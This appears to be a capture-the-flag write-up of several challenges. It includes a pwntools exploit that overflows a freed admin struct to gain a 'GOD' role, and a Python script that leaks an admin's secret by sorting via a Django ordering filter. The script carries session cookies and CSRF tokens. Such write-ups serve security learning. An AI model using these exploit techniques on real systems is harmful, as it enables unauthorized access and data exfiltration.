You have intercepted an shouty man's secret message. find the flag!
Solution
We are given a folder that contains a lot of WEBM files with one named sound and the other different characters.
At first, I tried to do code to transcribe and online transcribers to be able to read the letters to get nowhere. I could take the 30 min hit of listening as opposed to trying to create the code for it at this point.
[0 - 10]
Vivamus sed elit interdum, convallis tellus. .stibulum quis mi fòat. you may be wondering where the flAg is right now. wll let me tell you, it's somewhere. the flag could be ractf{haha} or i
[20 - 25]
tristique est. Cras faucibus massa libero, sit amet vulputate odio consequat cursus tHe rEaL d
[25 - 27]
..YÈ.MH..XÝ..ÛÓY×Ú^.WØS.Ø]Y.L...[.ÈHH_H5 ractf{oMg_izµ_aN_aud10phil3!!!}
I know this doesn't look good. I guess the Hard of hearing got the best of me and so I had to decode from this what the real flag was supposed to be. I took a little bit closer look and changed a few of the characters from the capital and lower case and close letters to get the flag.
Flag: ractf{oMg_it5_aN_aud10phil3!!!}
Blue
Description
We found some blue, thoughts?
Solution
Being a colorblind person, I want to always look at the histogram of the photo to see this weird situation.
From that, I write some code to find the pixels that are odd. From there I can run a few ideas as to how the location, color, and hex could help come up with the flag. I tried a lot of attempts but nothing clicked so I gave up some time.
But that doesn't line up and can't see any way that it could line up.
Reverse
Dodgy Database [350 pts]
Description
One of our most senior engineers wrote this database code, it's super well commented code, but it does seem like they have a bit of a god complex. See if you can help them out.
Solution
Below is the C code we are given.
#include <stdarg.h>#include <stdbool.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#define STR_EXPAND(tok) #tok#define STR(tok) STR_EXPAND(tok)#define USERNAME_LEN 20#define DATABASE "database.txt"#define FLAG "ractf{fake_flag}"typedef enum { ROLE_USER, ROLE_ADMIN, ROLE_GOD = 0xBEEFCAFE,} Role;typedef struct { char name[USERNAME_LEN]; Role role;} User;typedef struct { User* users; size_t num_users; size_t capacity;} Users;/*** Exit, printing a failure message before killing the program.*/void die(const char *restrict fmt, ...){ va_list args;va_start(args, fmt);vfprintf(stderr, fmt, args);va_end(args);exit(EXIT_FAILURE);}/*** Create a user struct with the given name and the ROLE_USER role.*/User*user_create(const char* name){ User* user = malloc(sizeof(User));strcpy(user->name, name);return user;}/*** Allocate and initialize the Users struct.*/Users*users_init(const size_t capacity){ Users* users = calloc(1UL, sizeof(Users)); users->users = calloc(capacity, sizeof(User)); users->num_users = 0UL; users->capacity = capacity;return users;}/*** Double the capacity of the users array.*/void users_extend_capacity(Users* users){ users->capacity <<= 1; users->users = realloc(users->users, users->capacity *sizeof(User));}/*** Add a user to the users struct.*/void users_add_user(Users* users, const char* name, Role role){ User* user = &users->users[users->num_users++];strcpy(user->name, name); user->role = role;}/*** Check whether a user is registered.* MUST BE CALLED BY AN ADMIN*/boolusers_check_registered(const Users *const users, const User *const admin, const char *const name){if (admin->role == ROLE_ADMIN) {for (size_t i = 0UL; i < users->num_users; i++) { User* user = &users->users[i];if (strncmp(user->name, name, 20UL)==0) {return true;}} } else{die("[users_check_registered]\tInsufficient permissions.\n");}return false;}/*** Registers a new user in the database.*/void users_register_user(Users* users, const User *const admin, const User *const user){if (admin->role == ROLE_ADMIN)users_add_user(users, user->name, ROLE_USER);elseif (admin->role == ROLE_GOD)puts(FLAG);elsedie("[users_register_user]\tInsufficient permissions to register user, exiting.\n");}/*** Reads all the users and their roles from the file.*/Users*read_users(const char* filename){ FILE* file = fopen(filename, "r");if (file == NULL) die("Failed to open database file: \"%s\"\n", filename); size_t line_len, lines_read = 0UL; char* lineptr = NULL; Users* users = users_init(10UL);while(getline(&lineptr, &line_len, file) !=-1){if (lines_read++ == users->capacity) {users_extend_capacity(users);} char name[21] = {0}; char role[6] = {0};int num_parsed = sscanf(lineptr, "%"STR(USERNAME_LEN) "s %s", name, role);if (num_parsed !=2) goto parse_failed;if (strcmp(role, "USER")==0) users_add_user(users, name, ROLE_USER);elseif (strcmp(role, "ADMIN")==0) users_add_user(users, name, ROLE_ADMIN);elseif (strcmp(role, "GOD")==0) users_add_user(users, name, ROLE_GOD);elseparse_failed:die("[read_users]\tFailed to parse user line: \"%s\", exiting!\n", lineptr);}free(lineptr);return users;}/*** Saves the users database out to a file.*/void save_users(const Users *const users, const char *const filename){ FILE* file = fopen(filename, "w");for (size_t i = 0UL; i < users->num_users; i++) { User* user = &users->users[i];switch (user->role){ case ROLE_GOD:fprintf(file, "%"STR(USERNAME_LEN) "s GOD\n", user->name);break; case ROLE_ADMIN:fprintf(file, "%"STR(USERNAME_LEN) "s ADMIN\n", user->name);break; case ROLE_USER:fprintf(file, "%"STR(USERNAME_LEN) "s USER\n", user->name);break; default:die("[save_user]\tInvalid user role: %d, exiting!\n", user->role);}}}/*** Sets IO to non-buffering,not part of the challenge*/void setup_for_challenge(){setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stdin, NULL, _IONBF, 0);setvbuf(stderr, NULL, _IONBF, 0);}intmain(void){setup_for_challenge(); Users* users = read_users(DATABASE);// get user to registerputs("Hi, welcome to my users database.");printf("Please enter a user to register: "); char username[30] = {0},*newline;fgets(username, 30, stdin);if ((newline = strchr(username, '\n')) != NULL)*newline = '\0';// create admin User* admin = user_create("admin"); admin->role = ROLE_ADMIN;// check registeredif (!users_check_registered(users, admin, username)) {// register the userfree(admin); User* user = user_create(username);users_register_user(users, admin, user);}// save the new databasesave_users(users, DATABASE);return0;}
Well, I start with a buffer overflow approach. The username is a length of 20 [line 10] and to become GOD code is Beefcafe [line 17]. Put that together and you become a god who can view the flag.
from pwn import*connect =remote('193.57.159.27', 31267)payload =bytes('A'*20, 'utf-8')+p32(0xBEEFCAFE)connect.sendline(payload)connect.interactive()
Flag: ractf{w0w_1_w0nD3r_wH4t_free(admin)_d0e5}
Web
Secret Store [300 pts]
Description
How many secrets could a secret store store if a store could store secrets?
Solution [By JoshL]
There are only two functionalities you really need to care about the /api/secret endpoint allows you to set a secret with a POST and return a list of secret ids + user ids with a get(edited)
are the relevant lines of codeSecretSerializer.create handles the POST request, and the GET is implemented by the viewsets.ModelViewSet mixin. Now, the vuln is filters.OrderingFilter googling that tells you it allows you to order by fields, and you can specify what you're allowed to order by allowing certain fields in ordering_fields (in this case, it allows all fields inside the Secret model that's what the __all__ means). ]So you have two functionality POST /api/secret/ Update your secret value GET /api/secret/?ordering= Returns a list of secrets (by id) and users (by id), allowed to order by any field within the Secret model(edited). The flag is a secret created by the user with id 1 (I'm assuming it's admin or something). Sooo, with ordering you could order by the secret values itself and slowly binary search for the flag if your secret is aaaa, the admin is ractf{, if you order by value, your id will show up before the admin's(edited)[11:25 PM]if your secret is zzz and the admin is ractf{ if you order by value, your id will show up after the admin's
import requestsfrom Crypto.Util.number import long_to_bytesimport jsoncookies ={"csrftoken":"xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk","sessionid":"jyya08irbxysteizgtvmoyjw29bgmb9m"}headers ={"X-CSRFToken":"xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk"}charset =''.join([chr(i) for i inrange(0x20, 0x7f)])"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ "defb95encode(val): ret = [] base=95while val: ret.append(charset[val%base]) val//=basereturn''.join(ret)[::-1]# for i in range(0x100):# print(b95encode(i))l,r=0,95**50post_url ='http://193.57.159.27:48478/api/secret/'get_url ='http://193.57.159.27:48478/api/secret/?ordering=value'while l<=r: m=(l+r)//2 payload =b95encode(m) data ={"value": payload}print(payload,l,r) requests.post(post_url, cookies=cookies, headers=headers, data=data) rr = requests.get(get_url, cookies=cookies, headers=headers) ids = [dat['id']for dat in json.loads(rr.text)]if ids.index(16)< ids.index(1): l=m+1else: r=m-1print(b95encode(l))# GET /api/secret/?ordering=value HTTP/1.1# Host: 193.57.159.27:48478# User-Agent: curl/7.74.0# Accept: */*# Cookie: csrftoken=xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk; sessionid=jyya08irbxysteizgtvmoyjw29bgmb9m# Content-Length: 17# Content-Type: application/json# X-CSRFToken: xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk# {"value":"AAA"# }# ractf{data_exf1l_via_s0rt1ng_0c66de47} # 193.57.159.27 50871